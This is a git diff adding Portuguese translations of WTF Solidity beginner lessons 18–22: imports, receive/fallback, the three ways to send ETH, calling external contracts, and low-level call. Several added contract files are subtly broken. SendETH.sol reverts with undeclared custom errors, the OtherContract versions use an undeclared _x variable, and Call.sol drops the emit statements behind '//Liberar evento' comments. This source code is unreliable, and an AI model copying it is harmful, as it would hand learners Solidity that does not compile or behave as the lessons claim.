Importar contrato OpenZeppelin +import '@openzeppelin/contracts/access/Ownable.sol'; + +contract Import { + // Sucesso ao importar a biblioteca Address + using Address for address; + // Declarando a variável yeye + Yeye yeye = new Yeye(); + + // Testar se é possível chamar a função do yeye + function test() external{ + yeye.hip(); + } +} diff --git a/Languages/pt-br/18_Import/Yeye.sol b/Languages/pt-br/18_Import/Yeye.sol new file mode 100644 index 000000000..cefadeed7 --- /dev/null +++ b/Languages/pt-br/18_Import/Yeye.sol @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Aula 10: Contrato Yeye na herança de contratos +contract Yeye { + event Log(string msg); + + // Definir 3 funções: hip(), pop(), yeye(), com o valor de Log sendo Yeye. + function hip() public virtual{ + emit Log("Yeye"); + } + + function pop() public virtual{ + emit Log("Yeye"); + } + + function yeye() public virtual { + emit Log("Yeye"); + } +} diff --git a/Languages/pt-br/18_Import/img/18-1.png b/Languages/pt-br/18_Import/img/18-1.png new file mode 100644 index 000000000..c2cf9b161 Binary files /dev/null and b/Languages/pt-br/18_Import/img/18-1.png differ diff --git a/Languages/pt-br/18_Import/readme.md b/Languages/pt-br/18_Import/readme.md new file mode 100644 index 000000000..b1a9167f6 --- /dev/null +++ b/Languages/pt-br/18_Import/readme.md @@ -0,0 +1,84 @@ +# WTF Introdução Simples ao Solidity: 18. Import + +Recentemente, tenho revisado meu conhecimento sobre Solidity para reforçar os detalhes e estou escrevendo um "WTF Introdução Simples ao Solidity" para iniciantes (os programadores experientes podem buscar outros tutoriais), com atualizações semanais de 1 a 3 palestras. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais são de código aberto no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +No Solidity, a declaração `import` nos permite referenciar o conteúdo de um arquivo em outro, aumentando a reutilização e organização do código. Este tutorial irá te mostrar como utilizar a declaração `import` no Solidity. + +## Uso do `import` + +- Importação por posição relativa do arquivo, exemplo: + + ```text + Estrutura de Arquivos + ├── Import.sol + └── Yeye.sol + + // Importar por posição relativa do arquivo + import './Yeye.sol'; + ``` + +- Importação do símbolo global do contrato de um arquivo online através do URL, exemplo: + + ```text + // Importar por URL + import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; + ``` + +- Importação do diretório npm, exemplo: + + ```solidity + import '@openzeppelin/contracts/access/Ownable.sol'; + ``` + +- Importação de um símbolo global específico do contrato, exemplo: + + ```solidity + import {Yeye} from './Yeye.sol'; + ``` + +- O posicionamento do `import` no código é após a declaração da versão e antes do restante do código. + +## Testando a Importação + +Podemos testar se a importação do código externo foi bem-sucedida com o seguinte trecho de código: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Importar por posição relativa do arquivo +import './Yeye.sol'; +// Importar um contrato específico +import {Yeye} from './Yeye.sol'; +// Importar por URL +import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; +// Importar o contrato Ownable do OpenZeppelin +import '@openzeppelin/contracts/access/Ownable.sol'; + +contract Import { + // Importar a biblioteca Address com sucesso + using Address for address; + // Declarar a variável yeye + Yeye yeye = new Yeye(); + + // Testar se é possível chamar uma função de yeye + function test() external { + yeye.hip(); + } +} +``` + +![result](./img/18-1.png) + +## Conclusão + +Nesta palestra, exploramos o uso da palavra-chave `import` para importar código externo. Com o `import`, podemos referenciar contratos ou funções de outros arquivos que escrevemos, bem como importar diretamente códigos pré-escritos por terceiros, o que é muito prático. + diff --git a/Languages/pt-br/19_Fallback/Fallback.sol b/Languages/pt-br/19_Fallback/Fallback.sol new file mode 100644 index 000000000..f6b106d98 --- /dev/null +++ b/Languages/pt-br/19_Fallback/Fallback.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Fallback { + /* Acionar fallback() ou receive()? + Receber ETH + | + msg.data está vazio? + / \ + Sim Não + / \ +receive() existe? fallback() + / \ + Sim Não + / \ +receive() fallback + */ + + // Definir evento + event receivedCalled(address Sender, uint Value); + event fallbackCalled(address Sender, uint Value, bytes Data); + + // Receber o evento "Received" ao receber ETH + receive() external payable { + emit receivedCalled(msg.sender, msg.value); + } + + // fallback + fallback() external payable{ + emit fallbackCalled(msg.sender, msg.value, msg.data); + } +} diff --git a/Languages/pt-br/19_Fallback/img/19-1.jpg b/Languages/pt-br/19_Fallback/img/19-1.jpg new file mode 100644 index 000000000..6b71dc721 Binary files /dev/null and b/Languages/pt-br/19_Fallback/img/19-1.jpg differ diff --git a/Languages/pt-br/19_Fallback/img/19-2.jpg b/Languages/pt-br/19_Fallback/img/19-2.jpg new file mode 100644 index 000000000..f78cf3bee Binary files /dev/null and b/Languages/pt-br/19_Fallback/img/19-2.jpg differ diff --git a/Languages/pt-br/19_Fallback/img/19-3.jpg b/Languages/pt-br/19_Fallback/img/19-3.jpg new file mode 100644 index 000000000..bda5a5f85 Binary files /dev/null and b/Languages/pt-br/19_Fallback/img/19-3.jpg differ diff --git a/Languages/pt-br/19_Fallback/img/19-4.jpg b/Languages/pt-br/19_Fallback/img/19-4.jpg new file mode 100644 index 000000000..e6c39b1e4 Binary files /dev/null and b/Languages/pt-br/19_Fallback/img/19-4.jpg differ diff --git a/Languages/pt-br/19_Fallback/readme.md b/Languages/pt-br/19_Fallback/readme.md new file mode 100644 index 000000000..8a55f8dcf --- /dev/null +++ b/Languages/pt-br/19_Fallback/readme.md @@ -0,0 +1,110 @@ +--- +title: 19. Recebendo ETH +tags: + - solidity + - advanced + - wtfacademy + - receive + - fallback +--- + +# Introdução Simples ao Solidity do tipo WTF: 19. Recebendo ETH com receive e fallback + +Recentemente, tenho revisado meus conhecimentos em Solidity para reforçar alguns detalhes e escrever um guia introdutório chamado "Introdução Simples ao Solidity do tipo WTF", destinado a iniciantes (programadores experientes podem procurar outros tutoriais). Ele será atualizado semanalmente com até três lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website WTF.academy](https://wtf.academy) + +Todo o código e tutorial estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +O Solidity suporta dois tipos especiais de funções de retorno, `receive()` e `fallback()`, que são usadas em duas situações: + +1. Receber ETH +2. Lidar com chamadas de função inexistentes no contrato (contratos proxy) + +Importante: Antes da versão 0.6.x do Solidity, havia apenas a função `fallback()`, que era chamada quando o contrato recebia uma transferência de ETH e também quando era chamada uma função que não existia. +Somente a partir da versão 0.6, o Solidity dividiu a função `fallback()` em duas funções, `receive()` e `fallback()`. + +Nesta lição, vamos focar na situação de receber ETH. + +## Função `receive` para receber ETH + +A função `receive()` é chamada quando o contrato recebe uma transferência de ETH. Um contrato pode ter no máximo uma função `receive()`, que tem uma declaração diferente das funções normais, não requer a palavra-chave `function`: `receive() external payable { ... }`. A função `receive()` não pode ter argumentos nem retornar valores, e deve ter os modificadores `external` e `payable`. + +Quando um contrato recebe ETH, a função `receive()` é acionada. É aconselhável não executar muita lógica dentro da função `receive()`, pois se alguém usar os métodos `send` e `transfer` para enviar ETH, o limite de gás será de 2300 e uma função `receive()` muito complexa poderá causar um erro de "out of gas". Se você usar o método `call`, poderá definir um limite de gás personalizado para executar lógicas mais complexas (explicaremos esses três métodos de envio de ETH posteriormente). + +Podemos registrar um evento dentro da função `receive()`. Por exemplo: + +```solidity +// Definindo o evento +event Received(address Sender, uint Value); + +// Disparando o evento ao receber ETH +receive() external payable { + emit Received(msg.sender, msg.value); +} +``` + +Alguns contratos maliciosos podem adicionar um conteúdo malicioso que consume gás ou causa uma falha intencionalmente dentro da função `receive()` (ou a função `fallback()` nas versões mais antigas), o que faz com que contratos com lógicas de reembolso e transferência de ETH não funcionem corretamente. Portanto, ao escrever contratos com lógica de reembolso, é importante prestar atenção a esse aspecto. + +## Função fallback + +A função `fallback()` é acionada quando uma função inexistente é chamada no contrato. Ela também pode ser usada para receber ETH ou em contratos de proxy. A função `fallback()` não requer a palavra-chave `function` e deve ter o modificador `external` e, normalmente, o modificador `payable` para receber ETH: `fallback() external payable { ... }`. + +Podemos definir uma função `fallback()` que dispara um evento chamado `fallbackCalled` e imprime `msg.sender`, `msg.value` e `msg.data` sempre que é acionada: + +```solidity +event fallbackCalled(address Sender, uint Value, bytes Data); + +// fallback +fallback() external payable{ + emit fallbackCalled(msg.sender, msg.value, msg.data); +} +``` + +## Diferença entre receive e fallback + +As funções `receive()` e `fallback()` podem ser usadas para receber ETH. Aqui estão as regras para acionar cada uma delas: + +```text +Qual função é acionada? receive() ou fallback()? + Receber ETH + | + msg.data está vazio? + / \ + Sim Não + / \ + Tem receive()? fallback() + / \ + Sim Não + / \ + receive() fallback() +``` + +Simplificando, quando o contrato recebe ETH, se `msg.data` estiver vazio e houver a função `receive()`, ela será acionada. Se `msg.data` não estiver vazio ou não houver a função `receive()`, a função `fallback()` será acionada, desde que essa função seja `payable`. + +Se não existirem as funções `receive()` e `payable fallback()`, enviar ETH diretamente para o contrato resultará em um erro (ainda é possível enviar ETH para o contrato por meio de funções com modificador `payable`). + +## Demonstração no Remix + +1. Primeiro, faça o deploy do contrato "Fallback.sol" no Remix. +2. Preencha o campo "VALUE" com a quantia a ser enviada para o contrato (em Wei) e clique em "Transact". + + ![19-1.jpg](img/19-1.jpg) +3. Podemos ver que a transação foi concluída com sucesso e o evento "receivedCalled" foi acionado. + + ![19-2.jpg](img/19-2.jpg) +4. Preencha o campo "VALUE" com a quantia a ser enviada para o contrato (em Wei), preencha o campo "CALLDATA" com um valor aleatório para `msg.data`, e clique em "Transact". + + ![19-3.jpg](img/19-3.jpg) +5. Podemos ver que a transação foi concluída com sucesso e o evento "fallbackCalled" foi acionado. + + ![19-4.jpg](img/19-4.jpg) + +## Conclusão + +Nesta lição, apresentei duas funções especiais do Solidity, `receive()` e `fallback()`, que são usadas principalmente para receber ETH e em contratos proxy ("proxy contract"). + diff --git a/Languages/pt-br/20_SendETH/SendETH.sol b/Languages/pt-br/20_SendETH/SendETH.sol new file mode 100644 index 000000000..fcd479335 --- /dev/null +++ b/Languages/pt-br/20_SendETH/SendETH.sol @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// 3 formas de enviar ETH +// transferir: 2300 gás, reverter +// enviar: 2300 gás, retornar bool +// chamar: todo gás, retornar (bool, dados) + +// Falha ao enviar ETH usando o comando send +// Falha ao enviar ETH usando a função call + +contract SendETH { + // Construtor, payable permite transferir ETH durante a implantação + constructor() payable{} + // Método receive, acionado ao receber eth + receive() external payable{} + + // Enviar ETH usando transfer() + function transferETH(address payable _to, uint256 amount) external payable{ + _to.transfer(amount); + } + + // enviar() enviar ETH + function sendETH(address payable _to, uint256 amount) external payable{ + // Tratando o valor de retorno do 'send', se falhar, reverta a transação e envie um erro. + bool success = _to.send(amount); + if(!success){ + revert SendFailed(); + } + } + + // call() enviar ETH + function callETH(address payable _to, uint256 amount) external payable{ + // Tratando o valor de retorno da chamada, se falhar, reverta a transação e envie um erro + (bool success,) = _to.call{value: amount}(""); + if(!success){ + revert CallFailed(); + } + } +} + +contract ReceiveETH { + // Recebendo evento eth, registrando amount e gas + event Log(uint amount, uint gas); + + // Método receive, acionado ao receber eth + receive() external payable{ + emit Log(msg.value, gasleft()); + } + + // Retorna o saldo de ETH do contrato + function getBalance() view public returns(uint) { + return address(this).balance; + } +} diff --git a/Languages/pt-br/20_SendETH/img/20-1.png b/Languages/pt-br/20_SendETH/img/20-1.png new file mode 100644 index 000000000..d1e6c264c Binary files /dev/null and b/Languages/pt-br/20_SendETH/img/20-1.png differ diff --git a/Languages/pt-br/20_SendETH/img/20-2.png b/Languages/pt-br/20_SendETH/img/20-2.png new file mode 100644 index 000000000..7c67e2ace Binary files /dev/null and b/Languages/pt-br/20_SendETH/img/20-2.png differ diff --git a/Languages/pt-br/20_SendETH/img/20-3.png b/Languages/pt-br/20_SendETH/img/20-3.png new file mode 100644 index 000000000..0ea34f62d Binary files /dev/null and b/Languages/pt-br/20_SendETH/img/20-3.png differ diff --git a/Languages/pt-br/20_SendETH/img/20-4.png b/Languages/pt-br/20_SendETH/img/20-4.png new file mode 100644 index 000000000..ce26ff59b Binary files /dev/null and b/Languages/pt-br/20_SendETH/img/20-4.png differ diff --git a/Languages/pt-br/20_SendETH/img/20-5.png b/Languages/pt-br/20_SendETH/img/20-5.png new file mode 100644 index 000000000..b5675c062 Binary files /dev/null and b/Languages/pt-br/20_SendETH/img/20-5.png differ diff --git a/Languages/pt-br/20_SendETH/img/20-6.png b/Languages/pt-br/20_SendETH/img/20-6.png new file mode 100644 index 000000000..64a3d9735 Binary files /dev/null and b/Languages/pt-br/20_SendETH/img/20-6.png differ diff --git a/Languages/pt-br/20_SendETH/img/20-7.png b/Languages/pt-br/20_SendETH/img/20-7.png new file mode 100644 index 000000000..8b6e4dff0 Binary files /dev/null and b/Languages/pt-br/20_SendETH/img/20-7.png differ diff --git a/Languages/pt-br/20_SendETH/img/20-8.png b/Languages/pt-br/20_SendETH/img/20-8.png new file mode 100644 index 000000000..d1201ec55 Binary files /dev/null and b/Languages/pt-br/20_SendETH/img/20-8.png differ diff --git a/Languages/pt-br/20_SendETH/readme.md b/Languages/pt-br/20_SendETH/readme.md new file mode 100644 index 000000000..4d7722a1b --- /dev/null +++ b/Languages/pt-br/20_SendETH/readme.md @@ -0,0 +1,150 @@ +# 20. Enviando ETH + +Recentemente, tenho revisitado o estudo de Solidity para consolidar os detalhes e escrever um "WTF Solidity Guia Básico" para iniciantes (os especialistas em programação podem procurar outra fonte). Atualizarei este guia semanalmente com 1-3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Solidity possui três métodos para enviar ETH para outros contratos, que são: `transfer()`, `send()` e `call()`, sendo `call()` o método mais recomendado. + +## Contrato Recebedor de ETH + +Primeiramente, vamos implantar um contrato que recebe ETH, o `ReceiveETH`. Este contrato possui um evento `Log` que registra a quantidade de ETH recebida e o gás restante. Além disso, possui duas funções: a função `receive()` é acionada quando o contrato recebe ETH e emite o evento `Log`, e a função `getBalance()` retorna o saldo de ETH do contrato. + +```solidity +contract ReceiveETH { + // Evento acionado ao receber ETH, registrando o valor e o gás + event Log(uint amount, uint gas); + + // Função receive() acionada ao receber ETH + receive() external payable { + emit Log(msg.value, gasleft()); + } + + // Retorna o saldo de ETH do contrato + function getBalance() view public returns(uint) { + return address(this).balance; + } +} +``` + +Após implantar o contrato `ReceiveETH`, ao chamar a função `getBalance() podemos ver que o saldo de ETH do contrato é 0. + +![20-1](./img/20-1.png) + +## Contrato Emissor de ETH + +Agora vamos implementar os três métodos para enviar ETH para o contrato `ReceiveETH`. Primeiramente, na função `SendETH`, vamos implementar o construtor `payable` e a função `receive()` para que seja possível enviar ETH no momento da implantação e depois. + +```solidity +contract SendETH { + // Construtor, permite enviar ETH durante a implantação + constructor() payable {} + + // Função receive() acionada ao receber ETH + receive() external payable {} +} +``` + +### transfer + +- A sintaxe para utilizar o método `transfer` é `endereçoDestino.transfer(valor)`. +- O método `transfer()` tem um limite de `gas` de `2300`, suficiente para a transferência, mas o contrato receptor não pode ter funções `fallback()` ou `receive()` muito complexas. +- Se a transferência falhar, ela reverte automaticamente. + +Exemplo de código, onde o endereço `_to` é o endereço do contrato `ReceiveETH` e `amount` é o valor de ETH a ser enviado: + +```solidity +// Função para enviar ETH usando transfer() +function transferirETH(address payable _to, uint256 amount) external payable { + _to.transfer(amount); +} +``` + +Após implantar o contrato `SendETH`, ao enviar ETH para o contrato `ReceiveETH`, com `amount` como 10 e `value` como 0, a transferência falha, pois `amount` é maior que `value` e ocorre uma reversão. + +![20-2](./img/20-2.png) + +Quando `amount` é 10 e `value` é 10, a transferência é bem-sucedida. + +![20-3](./img/20-3.png) + +Ao chamar a função `getBalance()` no contrato `ReceiveETH`, podemos ver que o saldo de ETH no contrato é 10. + +![20-4](./img/20-4.png) + +### send + +- A sintaxe para utilizar o método `send` é `endereçoDestino.send(valor)`. +- O método `send()` tem um limite de `gas` de `2300`, suficiente para a transferência, mas o contrato receptor não pode ter funções `fallback()` ou `receive()` muito complexas. +- Se a transferência falhar, não haverá reversão. +- O retorno do método `send()` é um `booleano` indicando se a transferência foi bem-sucedida e requer tratamento adicional no código. + +Exemplo de código: + +```solidity +error EnvioFalhou(); // Erro para falha na transferência usando send + +// Função para enviar ETH usando send() +function enviarETH(address payable _to, uint256 amount) external payable { + // Verifica se a transferência ocorreu com sucesso + bool sucesso = _to.send(amount); + if (!sucesso) { + revert EnvioFalhou(); + } +} +``` + +Ao enviar ETH para o contrato `ReceiveETH` com `amount` como 10 e `value` como 0, a transferência falha e ocorre uma reversão devido ao tratamento feito. + +![20-5](./img/20-5.png) + +Quando `amount` é 10 e `value` é 11, a transferência é bem-sucedida. + +![20-6](./img/20-6.png) + +### call + +- A sintaxe para utilizar o método `call` é `endereçoDestino.call{value: valor}("")`. +- O método `call()` não tem limite de `gas` e pode ser utilizado em contratos receptores com funções `fallback()` ou `receive()` mais complexas. +- Se a transferência falhar, não há reversão. +- O retorno do método `call()` é uma tupla `(boolean, bytes)` indicando se a transferência foi bem-sucedida e requer tratamento adicional no código. + +Exemplo de código: + +```solidity +error ChamadaFalhou(); // Erro para falha na transferência usando call + +// Função para enviar ETH usando call() +function chamarETH(address payable _to, uint256 amount) external payable { + // Verifica se a transferência ocorreu com sucesso + (bool sucesso, ) = _to.call{value: amount}(""); + if (!sucesso) { + revert ChamadaFalhou(); + } +} +``` + +Ao enviar ETH para o contrato `ReceiveETH` com `amount` como 10 e `value` como 0, a transferência falha devido ao tratamento feito. + +![20-7](./img/20-7.png) + +Quando `amount` é 10 e `value` é 11, a transferência é bem-sucedida. + +![20-8](./img/20-8.png) + +Ao utilizar os três métodos, é possível enviar ETH com sucesso para o contrato `ReceiveETH`. + +## Conclusão + +Nesta lição, apresentamos os três métodos de envio de ETH em Solidity: `transfer`, `send` e `call`. + +- `call` não possui limite de `gas` e é o método mais flexível, sendo o mais recomendado. +- `transfer` possui um limite de `2300 gas`, mas reverte a transação automaticamente em caso de falha, sendo uma escolha secundária. +- `send` possui um limite de `2300 gas` e, se a transferência falhar, não reverte a transação, sendo raramente utilizado. + diff --git a/Languages/pt-br/21_CallContract/CallContract.sol b/Languages/pt-br/21_CallContract/CallContract.sol new file mode 100644 index 000000000..f63b1a792 --- /dev/null +++ b/Languages/pt-br/21_CallContract/CallContract.sol @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract OtherContract { + // Variável de estado x + // Recebendo evento eth, registrando amount e gas + event Log(uint amount, uint gas); + + // Retorna o saldo de ETH do contrato + function getBalance() view public returns(uint) { + return address(this).balance; + } + + // Você pode ajustar a função da variável de estado _x e também pode enviar ETH para o contrato (payable) + function setX(uint256 x) external payable{ + _x = x; + // Se ETH for transferido, dispara o evento Log + if(msg.value > 0){ + emit Log(msg.value, gasleft()); + } + } + + // Ler x + function getX() external view returns(uint x){ + x = _x; + } +} + +contract CallContract{ + function callSetX(address _Address, uint256 x) external{ + OtherContract(_Address).setX(x); + } + + function callGetX(OtherContract _Address) external view returns(uint x){ + x = _Address.getX(); + } + + function callGetX2(address _Address) external view returns(uint x){ + OtherContract oc = OtherContract(_Address); + x = oc.getX(); + } + + function setXTransferETH(address otherContract, uint256 x) payable external{ + OtherContract(otherContract).setX{value: msg.value}(x); + } +} diff --git a/Languages/pt-br/21_CallContract/img/21-1.png b/Languages/pt-br/21_CallContract/img/21-1.png new file mode 100644 index 000000000..1d6b36024 Binary files /dev/null and b/Languages/pt-br/21_CallContract/img/21-1.png differ diff --git a/Languages/pt-br/21_CallContract/img/21-2.png b/Languages/pt-br/21_CallContract/img/21-2.png new file mode 100644 index 000000000..d9ceeefce Binary files /dev/null and b/Languages/pt-br/21_CallContract/img/21-2.png differ diff --git a/Languages/pt-br/21_CallContract/img/21-3.png b/Languages/pt-br/21_CallContract/img/21-3.png new file mode 100644 index 000000000..e95822053 Binary files /dev/null and b/Languages/pt-br/21_CallContract/img/21-3.png differ diff --git a/Languages/pt-br/21_CallContract/img/21-4.png b/Languages/pt-br/21_CallContract/img/21-4.png new file mode 100644 index 000000000..1603212c7 Binary files /dev/null and b/Languages/pt-br/21_CallContract/img/21-4.png differ diff --git a/Languages/pt-br/21_CallContract/img/21-5.png b/Languages/pt-br/21_CallContract/img/21-5.png new file mode 100644 index 000000000..88a6d5f55 Binary files /dev/null and b/Languages/pt-br/21_CallContract/img/21-5.png differ diff --git a/Languages/pt-br/21_CallContract/img/21-6.png b/Languages/pt-br/21_CallContract/img/21-6.png new file mode 100644 index 000000000..15f79a3dd Binary files /dev/null and b/Languages/pt-br/21_CallContract/img/21-6.png differ diff --git a/Languages/pt-br/21_CallContract/img/21-7.png b/Languages/pt-br/21_CallContract/img/21-7.png new file mode 100644 index 000000000..e9a52d62e Binary files /dev/null and b/Languages/pt-br/21_CallContract/img/21-7.png differ diff --git a/Languages/pt-br/21_CallContract/img/21-8.png b/Languages/pt-br/21_CallContract/img/21-8.png new file mode 100644 index 000000000..cdac0fbd5 Binary files /dev/null and b/Languages/pt-br/21_CallContract/img/21-8.png differ diff --git a/Languages/pt-br/21_CallContract/img/21-9.png b/Languages/pt-br/21_CallContract/img/21-9.png new file mode 100644 index 000000000..481119798 Binary files /dev/null and b/Languages/pt-br/21_CallContract/img/21-9.png differ diff --git a/Languages/pt-br/21_CallContract/readme.md b/Languages/pt-br/21_CallContract/readme.md new file mode 100644 index 000000000..3051176da --- /dev/null +++ b/Languages/pt-br/21_CallContract/readme.md @@ -0,0 +1,145 @@ +--- +title: 21. Chamando Contratos Externos +tags: + - solidity + - avançado + - wtfacademy + - chamar contrato +--- + +# WTF Solidity Introdução Simples: 21. Chamando Contratos Externos + +Recentemente, tenho estudado Solidity novamente para revisar os detalhes e escrever um "WTF Solidity Introdução Simples" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +## Chamando Contratos Externos + +Em Solidity, um contrato pode chamar uma função de outro contrato, o que é muito útil ao construir DApps complexos. Este tutorial irá mostrar como chamar um contrato externo quando você conhece o código (ou interface) e o endereço do contrato. + +## Contrato Alvo + +Primeiro, vamos escrever um contrato simples chamado `OtherContract` que será chamado por outros contratos. + +```solidity +contract OtherContract { + uint256 private _x = 0; // variável de estado _x + // evento para registrar o valor e o gás recebidos em ETH + event Log(uint amount, uint gas); + + // retorna o saldo ETH do contrato + function getBalance() view public returns(uint) { + return address(this).balance; + } + + // função que pode alterar o valor da variável de estado _x e receber ETH (payable) + function setX(uint256 x) external payable{ + _x = x; + // se ETH for enviado, dispara o evento Log + if(msg.value > 0){ + emit Log(msg.value, gasleft()); + } + } + + // lê o valor de _x + function getX() external view returns(uint x){ + x = _x; + } +} +``` + +Este contrato possui uma variável de estado `_x`, um evento `Log` que é disparado quando ETH é recebido e três funções: + +- `getBalance()`: retorna o saldo ETH do contrato. +- `setX()`: função `external payable` que define o valor de `_x` e envia ETH para o contrato. +- `getX()`: retorna o valor de `_x`. + +## Chamando o Contrato `OtherContract` + +Podemos criar uma referência para um contrato usando o endereço e o código (ou interface) do contrato: `_Nome(_Endereço)`, onde `_Nome` é o nome do contrato conforme definido no código (ou interface) do contrato e `_Endereço` é o endereço do contrato. Em seguida, podemos chamar as funções do contrato usando a referência do contrato: `_Nome(_Endereço).f()`, onde `f()` é a função que queremos chamar. + +A seguir, apresentamos quatro exemplos de chamadas de contrato. Após compilar os contratos no Remix, implante os contratos `OtherContract` e `CallContract`: + +![deploy contract0 in remix](./img/21-1.png) + +![deploy contract1 in remix](./img/21-2.png) + +![deploy contract2 in remix](./img/21-3.png) + +### 1. Passando o Endereço do Contrato + +Podemos passar o endereço do contrato como um parâmetro para uma função, criar uma referência para o contrato alvo e, em seguida, chamar a função desejada. Por exemplo, para chamar a função `setX` do contrato `OtherContract`, podemos escrever uma função `callSetX` em um novo contrato, passando o endereço do contrato `OtherContract` implantado como `_Endereço` e o parâmetro `x` para a função `setX`: + +```solidity +function callSetX(address _Endereço, uint256 x) external{ + OtherContract(_Endereço).setX(x); +} +``` + +Copie o endereço do contrato `OtherContract` e insira-o como argumento da função `callSetX`. Após a chamada bem-sucedida, chame a função `getX` do contrato `OtherContract` para verificar se o valor de `x` foi alterado para 123. + +![call contract1 in remix](./img/21-4.png) + +![call contract2 in remix](./img/21-5.png) + +### 2. Passando a Variável do Contrato + +Podemos passar diretamente a referência do contrato como um parâmetro para uma função, apenas alterando o tipo do parâmetro de `address` para o nome do contrato alvo, como `OtherContract`. O exemplo a seguir mostra como chamar a função `getX()` do contrato alvo. + +**Observação**: O tipo do parâmetro `OtherContract _Endereço` ainda é `address`, tanto no código gerado pela ABI quanto ao chamar a função `callGetX`. + +```solidity +function callGetX(OtherContract _Endereço) external view returns(uint x){ + x = _Endereço.getX(); +} +``` + +Copie o endereço do contrato `OtherContract` e insira-o como argumento da função `callGetX`. Após a chamada bem-sucedida, você obterá o valor de `x`. + +![call contract3 in remix](./img/21-6.png) + +### 3. Criando uma Variável de Contrato + +Podemos criar uma variável de contrato e, em seguida, usar essa variável para chamar a função desejada. No exemplo a seguir, armazenamos a referência do contrato `OtherContract` na variável `oc`: + +```solidity +function callGetX2(address _Endereço) external view returns(uint x){ + OtherContract oc = OtherContract(_Endereço); + x = oc.getX(); +} +``` + +Copie o endereço do contrato `OtherContract` e insira-o como argumento da função `callGetX2`. Após a chamada bem-sucedida, você obterá o valor de `x`. + +![call contract4 in remix](./img/21-7.png) + +### 4. Chamando um Contrato e Enviando ETH + +Se a função do contrato alvo for `payable`, podemos enviar ETH para o contrato chamando essa função: `_Nome(_Endereço).f{value: _Valor}()`, onde `_Nome` é o nome do contrato, `_Endereço` é o endereço do contrato, `f` é o nome da função alvo e `_Valor` é a quantidade de ETH a ser enviada (em wei). + +A função `setX` do contrato `OtherContract` é `payable`. No exemplo a seguir, chamamos a função `setX` para enviar ETH para o contrato alvo. + +```solidity +function setXTransferETH(address otherContract, uint256 x) payable external{ + OtherContract(otherContract).setX{value: msg.value}(x); +} +``` + +Copie o endereço do contrato `OtherContract` e insira-o como argumento da função `setXTransferETH`. Em seguida, envie 10 ETH. + +![call contract5 in remix](./img/21-8.png) + +Após o envio, você pode observar as alterações no saldo ETH do contrato alvo usando o evento `Log` e a função `getBalance()`. + +![call contract6 in remix](./img/21-9.png) + +## Conclusão + +Nesta aula, aprendemos como criar uma referência para um contrato externo usando o código (ou interface) e o endereço do contrato, e como chamar as funções desse contrato. + diff --git a/Languages/pt-br/22_Call/Call.sol b/Languages/pt-br/22_Call/Call.sol new file mode 100644 index 000000000..4dab26ac4 --- /dev/null +++ b/Languages/pt-br/22_Call/Call.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract OtherContract { + // Variável de estado x + // Recebendo evento eth, registrando amount e gas + event Log(uint amount, uint gas); + + fallback() external payable{} + + // Retorna o saldo de ETH do contrato + function getBalance() view public returns(uint) { + return address(this).balance; + } + + // Você pode ajustar a função da variável de estado _x e também pode enviar ETH para o contrato (payable) + function setX(uint256 x) external payable{ + _x = x; + // Se ETH for transferido, dispara o evento Log + if(msg.value > 0){ + emit Log(msg.value, gasleft()); + } + } + + // Ler x + function getX() external view returns(uint x){ + x = _x; + } +} + +contract Call{ + // Definir o evento de resposta, exibindo o resultado de retorno da chamada 'success' e 'data' + event Response(bool success, bytes data); + + function callSetX(address payable _addr, uint256 x) public payable { + // chamar setX(), enquanto também é possível enviar ETH + (bool success, bytes memory data) = _addr.call{value: msg.value}( + abi.encodeWithSignature("setX(uint256)", x) + ); + + //Liberar evento + } + + function callGetX(address _addr) external returns(uint256){ + // call getX() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("getX()") + ); + + //Liberar evento + return abi.decode(data, (uint256)); + } + + function callNonExist(address _addr) external{ + // call função inexistente + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("foo(uint256)") + ); + + //Liberar evento + } +} diff --git a/Languages/pt-br/22_Call/img/22-1.png 